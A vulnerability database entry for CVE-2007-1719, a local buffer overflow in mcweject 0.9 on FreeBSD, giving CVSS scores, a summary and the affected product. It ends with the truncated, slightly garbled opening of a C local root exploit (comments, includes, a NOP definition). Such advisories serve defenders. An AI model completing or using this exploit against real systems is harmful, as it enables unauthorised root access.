7.2
CVSSv2

CVE-2007-1719

Published: 28/03/2007 Updated: 11/10/2017
CVSS v2 Base Score: 7.2 | Impact Score: 10 | Exploitability Score: 3.9
VMScore: 725
Vector: AV:L/AC:L/Au:N/C:C/I:C/A:C

Vulnerability Summary

Buffer overflow in eject.c in Jason W. Bacon mcweject 0.9 on FreeBSD, and possibly other versions, allows local users to execute arbitrary code via a long command line argument, possibly involving the device name.

Vulnerable Product Search on Vulmon Subscribe to Product

jason_w._bacon mcweject 0.9

Exploits

// ejecsploitc - local root exploit for bsd's ejectc // harry // vuln found by kokanin (you 31337!!! ;)) // thanks to sacrine and all the other netric guys!!! you rule :) #include <stdioh> #include <stdlibh> #include <stringh> #include <unistdh> #define LEN 1264 #define NOP 0x90 extern char** environ; int main(){ ...